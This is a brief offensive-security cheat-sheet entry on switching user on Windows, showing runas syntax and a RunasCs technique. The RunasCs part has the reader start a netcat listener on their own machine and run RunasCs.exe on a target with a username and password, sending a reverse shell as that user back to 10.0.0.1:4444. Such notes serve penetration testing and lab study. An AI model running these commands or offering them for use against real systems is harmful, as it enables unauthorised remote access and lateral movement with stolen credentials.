Switch User on Windows

Runas

runas /user:<username> cmd
runas /user:<domain>\<username> cmd

RunasCS

We can spawn another shell as another user with RunasCS. First, start a listener on local machine.

nc -lvnp 4444

Then execute the following command on target machine. Replace 10.0.0.1:4444 with your local IP and port.

RunasCs.exe <username> <password> cmd -r 10.0.0.1:4444